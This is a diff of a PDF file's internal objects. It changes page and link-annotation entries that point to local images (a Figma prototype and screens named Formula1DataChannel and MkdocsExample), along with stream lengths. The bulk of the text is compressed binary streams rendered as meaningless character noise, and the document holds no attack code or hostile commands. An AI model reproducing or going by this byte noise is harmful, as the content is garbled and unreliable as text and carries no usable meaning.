] +/Contents 437 0 R +/Resources 4 0 R +/Annots [ 439 0 R 440 0 R 441 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 439 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 198.483666 297.637795 186.080466 ] +/Rect [ 39.386457 586.018422 39.386457 571.004022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/Prototype.png) +/URI (./Images/Screens/Formula1DataChannel.png) >> >> endobj 440 0 obj << -/Filter /FlateDecode -/Length 4728 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 586.018422 555.889134 296.023690 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Formula1DataChannel.png) +>> >> -stream -x͝KH+j4x?VK X0R#@EUv _8ΰ>]DjҾqƉsn\GG,)NԜ=)Gßbb?zy5kB)ldqO1xo?=)K~ֹ)ښJl~|y^o?hc8]k۟Bj.cs.oZy{\wPO\c xG\lwc]ތѕM+{xa Mçh11*I-> 8U&k&R$n*#Lp7[s>:+Lp7b b;7ɸ[Ow#2wK.-eIjs`([ wkNn-jxiJx&8˘2I 2.p窴abp-d)mpVfgg§F_UೋeϮ8E"7K|(}4UQ6kRLb>[CLPr6):A3~>GMa#s2H|N+|N!+RS6ND|F؈"m9~">d 6%8eO䖄ϰF6\{W6+r -Q,m݊ -?bJ W(&LڤSZ -4WJ|&FGr 2hі6 R܂#S6R ,[:}e O AsVA^#m)PA81&iÍJAp -Q*A6\ :E-6Vt&r n(tfrt.sV3;eYqCmi,%lA[ -?-1)nq%%+9:OlA(*tVr tVri&g@: 9:Æ@a6j/ -? t[Ah>iϐSA+_|6̄d t~Q'PAQr :<9gO A+n ٿ*n  bl瘼A)Qq LBQ!Adriω@ǣy+6U٠y"l9(l.H|.T* yt1]6ĦxtUuȣb~A#(n蠫٫GY%-,ri!PAYAqGYYՈ<:`DtГKnA=YU#p]adZU# 06!KnA=PՈMu }OlteQFA֘܂LP5"Ʋyt5V%>H| -?t*e†@`#jD:)UՈ:T8- fP6O1s@YFqK@Y^Ո:H[:ڨF!ak 9F@}a)K|.?+n FAp_tW -~A_ :+S騸%`Q@[- g ~`6AT(53ũR$lt08r tZMF*`InAaP5"vؔ$S$!I*t$T(̪Q@Y܂jD TAC$6~/ t YU#`+sDPRA0TU(ȻSgV 69Q;4r-FfzVqK6\~":>█Et0Tr ` 9J n0^qKDjDd?Gt*n`4QͪVZV5Rty[":ȼU# bU9%lNEt0iTA̩QDjDdΊt0jU(WgRv+InA#ĪjDP36InAjDԎ/QD# InAc$P6 XRtX;U# [AbUE3L2t/I|l~vdJqKBcP5Ǭ%FP5etECc%PX >Wru` $FAqKBQR5%v6r&C AoT(q{UF)IIqK\fFSܒZC -? c3[ mٓ(*nU!P6` - dU(mT($t%t?'t0Eo% U5"Plr܂X%t%tt%t0%ry39:JU#J` - 9U#J EU#J e-`UB&{UN`*5InA sU5ҖU܂raetetQ–riS!!@xvvVyF my.QBDRzF3)▌fgetg?gtT($-䧪QF1wU#bcCfOlLګdž@}n!Oas|܂G3m`{h\?3_6;jCl4m[vXL;b~~o?<1vv_˵n?yƽg庿nuZ^55?6'_gogTuYw6:;zZA٥6>0?~{Zp_.{l|= -M%a=hXo68cݶ b5lg&hn\y^ln2v^e}>=m c| }䖵Zσ4tyՙMw쎴y)/ .À};#WmۣcۣZ_:]l.Uv|wlDa A<s糃_C"EI,pg$ ٹ^rBv8,I(mn浱 zo eek屯q5N0[!} @4༻LmDumdnUnf_&$vEsl&p2(s'tO 1`85c$-󙗝NWS. -bw#Eivs`?=Jv,l@cc/>Z4lJ u@e2qzoHtWz ˊS mMwxk2CmRpg5fWxmn- 7rkFWŞdhєF>* ,gV!z<9Ku@3אo℩>ż<_dgf='yquZ Zs6N2e0}E?T7O zϚw|ngy'rr73sb|[e}.7j(oo󉎙_7$v]8aGɖZIGq>~tBGuz"Kb\j_~?}5Kͦ8ouS>ܩg1VW۩Ս?3YY+!FszFO= _O='\N}s_QN#z59̐ sWn{奓 ^2wO_&weqM qS%Ӧݹ 1 Ce7#}ә!v`KsCڌrv +כP[woyN1 @D4nvpnd}A޺i?> ;@]^;fcohe6PwH̜s= 侶wRW:,^8$RцdemrestT/ 6_M8={]`~~H~C0Q! 5dWJ\@25:4U[/mG m%*,y̨wqZ20897=(s0:E?j.d۾r`l|O3ä'c()WzND 7v*9ÇG+#j*na ue3QSDmaÑ{⻩^A-Mn3(-bkb"kP =mj9mS(WŬ,{ '!tM\޳_X!:"Cڎ:Mş9uvlMJݼoy6o[=oNWy o9[}Vo.y'oj7}w7/h5o2}-ikY4c}De}kU5 6NW9Բz -FHsuk4# šڟ\lhZO r||-МcfƹҝJ]wBί[R`wƆ -endstream endobj 441 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 440 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 296.023690 297.637795 281.009290 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Formula1DataChannel.png) +>> >> endobj 442 0 obj << /Filter /FlateDecode -/Length 4333 +/Length 1862 >> stream -xO$q),@) bl2F Çi]v "+Ugֆupz* Ȋ_G%.fOai5ZܼYO-m4Rz}ZK!e.Ԓsh~~>m䥅z;ŘR^"_縄_u -Zc:ܗj؟XF].xsٮojW9b熙=ֆ%[zFd.iتVv|StUplv4-amy2U3B)%z7M-6NexAOT#&Ve1=7aRa& G&kfmZa-&n5EaLpӱI)퉞&HEno @.&wGl&qwP I8F LFm]e$h 0qebm- plB16) iñ&) 6G31s% -D Lא6*sAsIHCsFb\Ð6[n;6D-8RRUE&1sK|M/"mO -?+QB-zeV"XZHʦ3h%V|nvi-wS,*f)s#瞆k4iW0|i<{Wh7iVUiِ5J WLژ*t_$܂nDitvPA#InAc >X)nś >'_ ͮ% W6~:sk[:ț >#[:'V6\gqh(nI`6*J A!P6 |W$tQ3r:~h - ѣUeF e)J|nV:5- YJؠ~Y+l,6<~AxAV~868-)Vt0b tb:+ 1: m~A@$|-!/Qr :.mi - 2L t0ebiϙ@'pGVHA, _dt0HJsa dto[blhZ?66*n^*!Az0*n!@P`?d-,_)dC1Fbiϝ -`Tj(R!%窲Cd>&AqKFhY%2:0aC 2W▌2Wet0 -?`&8܂f*G*:<*GAaQ9"5lJ܂f&et0 kUr :Qet9%TST(̱rDd -`. 1: R@=rD,!( TU'6}QA`ef@ৠ̍̍rDdn▂27.l~XbC Qܙ;1OA}VRAp_U+n)`Lfi *yЉ -`Hϥ爥*n) *GTAQqKA6A:X"1:^tVfx*Er :*Qk1:tdV -? XL[A@XTU063R *-`)DttPtE#* 8+[ApT" -?`@,|)l`(QE=CRUtyO*̬U#`i|D-5~-mTt| -Ut b ` 1OEQE$[o Qcl*\AO-Q-Fd\▊2]*:D (n ӦrD,Tt1K*GTAƬQE.yD#`EUwtB*G5cӓt*G1/}I*:XHr :X:6 sE=c.[6#P6`m -? Mϒ[@ƒH-S[ :H?6-FATAb`j:X1A 6QQb }d*Gd }4X򽇰I:h@`ATAڟULqeߗه:h)&-Z ~A@ mEs&PAiP`C lA - dTA*Gd ~g-wU9"CVs܂rDDش&::OI ħ*ħrD=܈6AC*UAk - K*Gd ϫ*Gd k[AUBŦe6t0- ǟ~oO~p|.6Z_7:g/I%|Oi5;,IG%5{hQm2Dvܞޱ1:?|\ћGå|6);|QbmAa'|QRy@>F񨚽K.}M-Q7>i%?u|Cm蹣9ojϷ`٧FߘBM^ao?)|L;zlM1swumwj[gm(gvVz=NG?ӹ-/\V}J۳^/ӳvWXGs-v~m?^=lmש-b,bPQMjڦr6r};F9<_hNTu8Rv뵯uPgP4zN6_ܖ>~21R1̀t 84;oGVx։Jo5KmaQ}q~AG 㶐Xlj{7p5$غ~2\ey wu~$_oF56k\?|kO2 t|6>X>w=\ھ#A]:}]OC8_7]}3]霝|]N/^|{SS~;+~Rx]Ojzs[_~?ǀ 鼍=z%=݌rOy൵<}O/;5?@ˈ[Bwv2[-̞uPaoD]n;u+m>;v\Ӏo9*pOQCs:PBZJw;5whi7!w>(lL,K7< $6U~>MKhrKʋ|Fxo#oB} ڇn-t&Lz|A?N4ռ74gHW wvx|ə65p -AgЀb{\9iK_=9}3y60 ӼHaS-kd_O|{f!uʏU~o0/h5 -wo7rO_rd-ȱѿz&)w~o 9{ZzL$TQܙ.K)f2jp{iٺ%M:OHX%f*_[ٶJ_q5/0s/uCOS-\Ad??W;3+ 3>mLոY,ѿfwٍ}ú1a]?AHwXO$.q<7x[/\}Q,}c.o];#\W.4pFcE;GcqN٧_8 yƽrwm<z +xZ͎6)e8?C`(z8H@R-o6^k[8oGy >__R8#/~pL{ 9)<0Z)><{׻yw&a Xo8׷χw'-HSࠟ_@ FE#^{/__z(oKy~rBU-P;7xy?O'C_Qyr.=dy~FIN2Li&˺7}:oϏKk:9LƬw\OV=i\ձÖAzk9ZnBrH+e(@9Zi'0mL-<:_;KBs?H&05 y|<~NӎP~{|ÈhČ؂;g#o) 6H>y.5Zkf ߋoG*0}emyѢaTƒ;Z4(Is5yP$AhT)r uPŵQ0[*j)%t|vΟf<%kd*dHJ!ok!O)u+24UTj@Yg0K.8 i2Yμ",_uq  F?ɪjIֱФ}|l@UAls'%N!SU_33s) Exeⵌ5yX +5"&Zkgu0/83kt  +{XDnWlM# "A9 ./bQz!9vl!sDu3]NYgl]lZl1%u +ʵ&:2 + +<ҤǴ4cKi"zrSTܼSZԀȥR܉5^ۍe5);Kc _&M|ɋEEFt[ #La`FG.1 ofnXUqtUt{;cKA50 ,^P^S){Gh)vV<\ a^ +Fb` A{R NqSnYhZőQk0JRNum[:M9ZX-;+ +:po;F/bv+\A|`g>۾㹀3M{'c W+(q D@ɳ ygh!43qOnTU!NH.~.v+x|=\|M/OOIa$soܪ'؜jmt}{gr!li-{EP 6UܫVO;jm+=):.Od ȷPd=i|0*DJ9OJsgM*j(ҳ~e}`6?q endstream endobj 443 0 obj @@ -6833,68 +5768,69 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 442 0 R /Resources 4 0 R +/Annots [ 444 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 444 0 obj << -/Filter /FlateDecode -/Length 4363 ->> -stream -xK$9+rDKF.C _sd<fUݕ'97#_jm%/~qSI?3b>;~TZ -%_MVR|w!r0)Y\\}S-~ח\.; ݚo1]bmjif8a2ÏsO~y>{mQg?Qˡ?;Fׇ(>} ~?|p9pޛ%y %%@ZE@r^A - -K;d͕pp<n)x!ܒS-p)[] -B502BZ0!ZS­Xݚ/Yn3g -B- P 9^Z_ZeYr.)He)Q~i0!4!`o:xyRb7g# F S&1kAa9ԠD{b.E!9&$cEpӲRz!f}|$fIlT!+nDbN13aĜC9{!lE7bIČ++Y񉘋OUbĚ1앲 -jAa21W"R\Cڒ(CW\q{)ܰ{şB W(Č!f|+)QWjKu`b@zōj`0==I:d-x bf.Gj 6-1Lb@ޭ 1R ݬJ[> B}!H AKQA^8'1Č(m j?ԩ%>RbWn?@p^!P|KJ[>U/1Č6|gr |1'm(0\,x!fvMDˊҖUJ`A_c?)+m '%iC̍@D,+ >DS}#P}#<[7A40 9>'1j? $ R[Ad>3bAKmїX%/-I 1Gr|0Ę!H 1GrQi $YJ 1U`">- 1:&1Ĝr?6p ] AF+m!C 1Ĝ">ȚwJ[ؾ -!!B{Q@bRq 5fU``TmM'D|Tu(⃬"(m`h%QYe-,):r`A֪)m kQ#Fc-`d#jD 9>:FA֡+R["T5Fj!Im{jDdy- 1U# kQYcMj >@bh4*eC a 'N0LEPb`(1jφ6YQՈ dmd-6A.0?lMn>+KYb>}R5"}Ub`l,f!D |06HLtPgtRb Fd |A/%=V͓(n553ũRl>h@qDV>h]>| S?OPIm$(-q1U#2|yU#2||U#2|VZ"b?eKqC> -L{IO՟>Җ¡jD ރ?jjD ҪWڒ|sFK 1Wr%ჽ,jD 434C 1>G- d%|oA%ɑFI 1{_T9ჽjD?6? 󚔶$|yFA ūsY%lN%|0iTڒA,QjD dΪԖj^Ո>0xU&re-`BXUiS|HF0O%U#J`BR[$˪^1ڂ2AՈ>X|.FĢR!Pzڂ$ ["|2%ヌQǢ% EP5e Fb Cn#SڒA(Q%~!j'1 9O# wFAUҖ}QsAiKs!A收 }&1A֔*`̑@qD e|e|ҖwR5wU|0㸪FD --`NQ)Q)ImQs&s!P3VjD̅@qjDjD"̨!`JTڲ|anFA啶\`QVQ5~c;;a-%r`H5;[~WT?P<#z )Җ~='|`?|L5U#* ?YiKiFT~(n%( >XH{U`.[fϱ~>>د?2\"JBaķ'_쌿<{D؅Pp 7^O5~ _۵]S5l_=3&tgX~/߈9דK|7.ÎGK_ PJ%ftrǥWa_:1k7;"R?w-a^{J=7peo +m9nA8ޯm\? 3u6,rZ}p^>=yƌ}O/C6Fm9gK?(Clf*{wau,;)>~ϝ$ɵvJ4NF;f8lP+C'd'[w^}y=V76冝;#Iҟ]+V$qXmJ^ltg0NJwj[ -[$o[OdTUIA@FH2`}[5eW9ܑ8+_㲎cojIP' p'V~`-lZĺB:_kd3#0ke걬ڿ|lc=?_+BH} i6WH,&:;rmsWwȻ;f Y6z董?gK- A3{R?PA6ܰ69l+ܓyio}ޏ9Slj׋l I#!]&@cAe%a+(1"eZu-ǡ2d"T }W仰qȚ׊Ͱzŀ0?2}Jw ^f mU?Zz<(dw#A,ٖT?J+oY9!g n,ե6'Pp(<{2'{"G V{- m+m`nw=|ܞ}W;xa\-zoTbl0zκ6#^f}r m{&:LjʸlɪZǕ?v9Yo7$8-M!#;m</cxr[IY<*WY؝o5r/>ϟߑ-esZԊD㎤X_V;.~n_gk>$߿TwvW)[gLϵo>o} wU=8!_?u2Nb? ˸ova~_p -endstream -endobj -445 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 444 0 R -/Resources 4 0 R -/Annots [ 446 0 R 447 0 R 448 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj -446 0 obj -<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 37.466457 758.620422 ] +/Rect [ 39.386457 268.979622 39.386457 253.965222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/MkdocsExample.png) +/URI (./Images/Figma/Prototype.png) >> >> endobj +445 0 obj +<< +/Filter /FlateDecode +/Length 3757 +>> +stream +x\ю#|߯sM& ?88A]`'@F35s!{ؓvSnv5Iﳄc#N?<`Ǩ1FÏ{S\pcR,?}?x}r qH)cMJt࿟{1ݿqHS5C8R#?=]sd=j!l:1%NŪC +`&SY(@5/(L;UYq 2/!|q^\qAUqAHA/2ug`MrҢ _d RBqBɝ:XʐܩȪU:XEq3ɝ:Y:!98"JANieC̥t "Sh;u0&JӨU:PqHDܩ|AL5u0Rܩ($w +ҡ|AL6uj!SmNfȻ)_PC Gr"ZqZ- 1c+_Pܒ;uА~w`Ҭll:fʦ&jq4w(,¦6Ž1(FeeC9woؤPK"fp,S$ōf"Cac;tmU"s`V6Č좸gb.Ir/ uV(ČE!fErT$;tMQh+`Z%w'f w'L3PsjCa%f :XڈPLwtaS":XZ{#fC3E3PqbF1'Lw 1e̘2C Kl:Xj:rK3f` fD>uj8hSAP+NDի:+NĄYqw &j5ݩ=WN %w + ɝ:VKN,.f Vɝ:,SjYݩhAB%w +ɝ:Xuubv:Wrܩۈ3(_P3dY!u0rQ6ĜSsj]ݩنSp`6ܩiNLԺSS$8bf%SHT\ԞS&Ê;uErpAU)8uP)Ar%wꠡLTԞBP͊4FܡitWL#\), d*:ȏ9Hu\SL('‰9^^R@S]&])t0;t0u:ȏub7=.KG+^M,+OV\[>25\zp?\I˳/څ13>T35as{0pSFޮoG<=\|9?qcͻgM^Q'TYDû燿ow_^X>7Mp"Jعź+Fdz/,Ix |O6x [=Ϳ8嶋!6}g[_ym[*>*47gG\Θ8Q-ތ%R^[k߅t>~>|L| rsfϒ|!Cmϯ\<! t&˰y|:M0چ2D:uXv~1٬ؖ['^ktqZy 7t"ze%5 īwsG_%,t?al> L_tJ~ Dr6o3s}WyPYDh) P_?!U_f[;ۭ.:gSEqz]Úv3v}.;~m|S-j;ymk`Pϟ֨;Me;s_;zԱ-M/C%jJSohܥx{5.In"휇i5z&юz~/zw>}'ݍþeҷogi[Y:.6=ڿti~ 2)qIN[bhMx%-fVr,dm\cN{e^q/vU7'n82a/d9rGzn_;]|߉%q xJn1+9S03<=6s󼳟JK[>u/3iz&;1}~EX{̷\{Tg}$Lph̉^͹:eA5 lu %y=vq/9pmnwo7wlD!)Xɹ777%MqoS}C7'm~NFC/kω@ɨۏc9=϶\X\_5ooy[?>ЏbSUE?Dܝvl ![t qI%V'ok[_DpH3)߀͹OYu!^Λ""7VE< +endstream +endobj +446 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 445 0 R +/Resources 4 0 R +/Annots [ 447 0 R 448 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj 447 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 515.916113 ] +/Rect [ 39.386457 771.023622 555.889134 480.490866 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/MkdocsExample.png) +/URI (./Images/Figma/Prototype.png) >> >> endobj @@ -6902,25 +5838,36 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 515.916113 297.637795 503.512913 ] +/Rect [ 297.637795 480.490866 297.637795 465.476466 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/MkdocsExample.png) +/URI (./Images/Figma/Prototype.png) >> >> endobj 449 0 obj << /Filter /FlateDecode -/Length 385 +/Length 7529 >> stream -xˎ1 E;#F@b`T$ĢU#zT5t;z$v||{xTTksx΁+a~œ7nIZ\3RJ)iD^=2眔U==='ÂBk_&-5=Z4k"-&R6ǿ%fW[~6[7uӼ;r$/ 苝J |\w|Xq"&KEY$_sWbKe8-= -Q>I%R@n9#%m뺮>!lBbq -v S>g3 (m[gMVep$;y W/PvᙡSB/o߹߯ bc 톷 +xŝ_KG)&*TI+-J >˽+~i#z~q12OwGTfedfS~/۶V^~k_WK^.e?]rNjR˺~z)?,U'}sE_5ijb_G]wx=}g.{ֶ5ev=!W`V/vM{ +rRkOu:pO2Kuzbڭ]a \ּ Yז YJ*1Ғ!;.Xib(ikZjO+ n{klCln34f%@#[dHO4 + ^3%{eww]*4@N&hk~gۘR9Y^(6KVaژ^34 ƴgkܳ\Zc^My+t@*es_;[WM(w+~F̽{^-<21R?X{ %1@+* A)w~1S^#R[xC[,^`Y x,KŮDh`I-C[,^׽Qukmxmx!a~xS{\s:hj:}:r:{\,dj nj K_2C6b^b^?xQ[xܽZGܽ.JXymS?:h4uЊFmu0׾P[x6:hM0w6!ݩ-洯^Z`^Ӟ0wi&1DmuІJu`M{L}%1]^rc^ ?o컕fb1ٌu~hK +nEcj1lbMjebQ[xAuk㽤upm՛Fj ͐iCy0w6۠}u3tOyrAM41w6ܽZ}u +Sh^mܽ{J5Sh^ { +렕\bKOj 97ytOy̽b^`*Omu0J`^;u0[sQ^}ڂz̶|:}~u0m;u0m s:z}u0DT3޽)uЖ2޽ԏC:JVʽ[bB޷B`{{ +W`r:9`\c^Slg|"cs_=ۗmtO[[1wyr:菊о`جܹI,oՊltJ.͊VwbxlVL?ӧLyV^Ho2 mseM)G:|}aĈ="#1R{$FdĈHr#1"{$FdȰGbDH#1"{$D=#GbDH#!2#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑐`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FHL0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$d&{#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=2=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{# F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`dd#{#FH {#F0Gbf#F0G=3F0G=쑘Hȼ|h>e:~h/e߮} ~g#sO9çO8^_H#!2=#GbDH aĈ=#GbDH {$FdĈ=#GBd#1"{$FdĈ="=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{# F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`dd#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0GBfG=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#!3#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑐`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FHL0G=`d̰G=`d#{$f=`d#{#13`d#{#a_rhWmo,ϯٱμoK|^}^mgc/ߌll@ϯ'~,f//:xI_I8㿟?_U } +e|'x ~' ?'K&/srf?^,[qx_# DZr~שKg-v~k WNyyO˞=>/([z~o'^ݥsɭd}j! a9b5>}|ILӸاitƯ]: J礩/ vǑu87cnn>v揬m]M'ֽt }QFks>-9tm-^Zr8->hw̚OF~KH4rݧ9?VzzNDI5iRǬNKhN K[.N=J. +w :6>4of `3O4xͯ,`DY0-4~n=鴀m:Fs8imw?M %3unc>ׁ qo~Oo״0f~?sc<ױr38†)_^.79q_4(#\h +SOyf-_VyFcVypfr485 r0)2wP'&d +pz]b++nݳM-5fܐ_iE=}˥k)>328/W.wirR4?}?z):I`5ؾ/6[K:KٹW PcOy.O~_Wlp;7ϟw?m1 7`wV|~YߓޟOipvj]1#sPa[[vF7%tǽߞKZJMcî>?[0liޕ$Nt,B+F毿#0Fs<7Îq_ KIëvlW+IǻGsxg.7E ~sXi"~'t̗\ږ9iy<}Yf-?1j|^Qe5ן"O~1u_O{?ן6!W>ߛO_%OSՆw$K#/oo2n9ѽŖƶQdK'[܋mӛz_] i?s,9@o'Y)}xG^Q}±M<\?dԒ endstream endobj 450 0 obj @@ -6937,11 +5884,17 @@ endobj 451 0 obj << /Filter /FlateDecode -/Length 400 +/Length 2395 >> stream -xAo0 xvĎ; meRH6NCouHM}KfwWPDf)='&zYo`I-w#%HbRsFw%g,R -U-|rYL<'|[^[X!,(mz#c-0c*=3>۩JS2UF:1-GfF-,re2\T-Gv^"TSOu7UIlRO/^#:&5ܒ,.`xpp)[zqWjcTVQGqjwV%jA^yU?|nM5j +x[[,5~_H/Ҩ%@+`jYxfxك 'kZ=Z89]IvNJ9|*?>89_}Io F:{ iG'<KbF+xs;BHɌ֛C>; ƏqxڏN7FHiڏI%fu qG= ƴuYui]R1m<ڗ3 ;?t;= dϿx>1۲3V ?WGaiÏO sO'1#4V[$Cm 2.eP~XCdWs:?sjȖ-j1ns>rN2oGMA"+|9:rU_<+K~ hTl~,}S[|.8u7>q{-">yy*mi%Z_Z?!ɢMJEb3ėeƓH@ d#.]&3,Dtqř@qN=e'YҨ,ew~T@DWrW>\sWZis?4.=v4{=5C{ݺ עL,bV%*񆷈A0WǽRTV1 "h <)&ɲaֶqkG*qxƪ"B?k/s?G;́c >6I]1aGl3d7֎,M4,9P+T-FKä|8 YLB{5R8X!Z8IM(Z. jM\=j䎔% ANMiI :nUlȎ!!Ol h?5kںIBV 69Sr/Fw_șD,p\Ks{6GȤB-4>ͭZЎ#!UpdD+Q@ &)y r߸!7~WҚg"\P^-GMfʧv7#a _ Lju+h%˜Xh% Bڮe720RLYbd jcB +IR5\˖1 +, +}o*]ĂyskkT[hiP~au|Yb&& +Eg_f˶Zr*6mJl'i,Y-EqdTdcwސՍ{F;2N}Ł`mg4 +S*0JК +{ϻ7%%Ֆ-vGJh]`N }wN(#vBF&ԁڑ)-7ZAwܞS80dC)+0XʴduGO+G+H`aˑVXptk[{YYtYOd18|T6 *m<ۀDxbS wy-[Uݗfmo&䓕ZhHRv,fH{ +v}&TV;!5) +Xf7a-9ﯳl`N؝L0RWQDNj:-+|Dg&06`,!GU.jETd`zdWC1}WMм lDWX]l|c;m%#e;ґoH7{7H!!]~S}EcN[e!$4/%^AV\ڸZ!"ł p-b~t 9k_߻EGc%Xb! fh+b@}J@EhyIeJ_&#,o˼.q?EYg#O`ޑ&=͂Pr,_}/t^X4ig@阅Π߼K4;uà2Y\V'*sQ0,98U`!;|aʾ/<[|Ka}yPN* endstream endobj 452 0 obj @@ -6958,10 +5911,25 @@ endobj 453 0 obj << /Filter /FlateDecode -/Length 386 +/Length 2739 >> stream -xR͎1 )xNlib9,\8tA,vs(c Ʉ[| )Wa~zNܠV FDX8.A[~>) YDWAc`~"ђꗈoIkӗE%) ؔ8D>6OpRTYK=l^x:<oE΃LŨ2VrZFGx <o޾xx<=OTC)7Q QC%r?xE$|"Fj>ֺt7K%fCt[U-Ph?`Jh}6+Tv럱C[pvU]%x*;kYykv\G!?̸; +x[kt >b@N|2BBI Ral'RHe>-d=3eYGY?N9o:~=j~RMj^]šWr;-3!ÇR.ZI~8[/˘uȹ8{c×g>\DT%zqę[pN//߾#󉸔/̘^ɘRᕟ6} m|[>W x|ylYng_5lǻ5W3t|fMoڌΗ\&Т%1u1Ix[Ɉl8Zgs@텣eU (> +4ዴ^TA V Z\B:^lxk+ҲsyD{[zh<h1Ǥ9R<3F^d P:Hj,x^@V:+ @YpZ*$LvnAA M.Htk.EvV-P +Tꃊ!%waX +*z.1oPPq'e^Nza>0F nUh-la-q"bIOp=F'`$AOMb-qk@ zE vmo'.&KʁTdMg'd&ѶoyFlZ!w[fW(Al7 +1S4Cs T`ka[#u~S~ +FD׌Bwk$0AV l +ѱ@ +&Dw`:.Pna0݂W 'UUum,m2K`obkL9'F|%s”ctgbREkZKaIGYtgEsu~]3~/+2Z/7$+55Y]U3Ay"mTǤ@u% -փֵllI-?%[ Zdrqj䠧8=ŕpZM9ų] 7][C_…q˛&ҸG݀ܬ:4PP[*PAцtJjeMu8Vx&`01ę}L `NJapCjM\X(KQ}lj[5hU + $8IT3fx;h*᥶4ZA3)1Jf1K\/V +-~yk4B=vH=g9y"JW)@3x߮_NXiͭ(N]mKjYI 9 8\,mF{닭-x~i.rYE P_t J̋DW +I2xТX6.PMhvUIKUNpAD2:,xddO+ezŮ:KF+U*1.R+#[X;w@F1b(oPF1o%znֽ3l +w0?7v=V?ı7ӧ׎lҚ +fG]nd|lrh륜#rIc:ӥq/O QDer@W ?L5(Iq&#Cn{fOwK=0Qrq+jQRn!R2U/=kR,";DfwilvLKW, ږV&<OQq Qy {T +7UW0(D9F85)^J)6art]1f{`PςB\ꄆnM|fG";fܶ"2|7-b*#,=\YX ށ*%;|}o~~E +eQ &(k'#S ᢑa!t`zG( `/Og{WO}wlO+EJlzFu|%EuTK0B9~.0҆ةpÜ׃1-b jTv琄8vMSME^4vKM&ͅ5[A` ~ +3^Oe'hU|̺Ňg>9 !1(K {$&=3^/Fz? 9L)w/u{Er_ endstream endobj 454 0 obj @@ -6978,23 +5946,19 @@ endobj 455 0 obj << /Filter /FlateDecode -/Length 2608 +/Length 2549 >> stream -x[K#W@|?vY`;rhI+#@Hb_=dAFJnUůnZ0z~>}9q tE#/' F:ʹ‡ τRAJqSbs"̈`W%~a/?~BRir1J3|e?t`$aW~ Ll;$@j+A@7/Vb05|%~sfzCR2o -z2`]~>}(/?^:syL=0JE{M0+|iΚZQ1񼈟Yrf6a}EUHlʓmt,l%!"E0Q̓9ȼqlosQ<_7\Z}_/D'cpݡL#סM{usv7Fɳ\si A_׎`Hծse|ˬ("r’nf K*1? 2D6 -$%-sd1U @|l-># ;0<9f:?K&c7{U%L8~G(/o"#v4= ѣN[! G.絼S5R 2` fレa)z$kcvNV  &^NZ+Szo$M)n߾G$!=2AڰXly2t3XGNx0(uZ[WuHeMi%%4~ǟtN.g* ^h faϛg*'f/5(;T1Rb =<A/ SQ߶Cۏ֨C "ǠKSZ4RdGJb yTĖUslK7lTĖڰIOz:aի;̫. c+HϬil)(!j(tqAlaćXʖ9P {}̯/xEq }.Ùv(WvE"K9][M9E8Ng.Vܥ&Twj lv msE)D|.0Av^J8Be+d؋aٹő# -ӡ  +x[[,~_1u@Bp yOjJ*U=ӓ]|gݙiT+iQ' S;st &o3i3|~*L&0I)ZOh-:0_>JMVF|<οx$'q < +9n>ǷĉXOIa(᛿?NBDSy"6N"Z)Y%G«HǍncG47,''1Cu\F6kqFdd}۷?%0|I/Q%!uJݷG9njՇ BX^ޟ | @2aJ=||ezKϵ\3&?[/t k>cr$''sK>wsv˽r<}'Ou RVu)q|v-\x:{:$+q_#+C<Q$cġѐ8˟-U +Q l [NjR]5.~) e_];R//: ޒQ.nZlT8:ޠ ՠGJvJ)u^CM֏rF \ 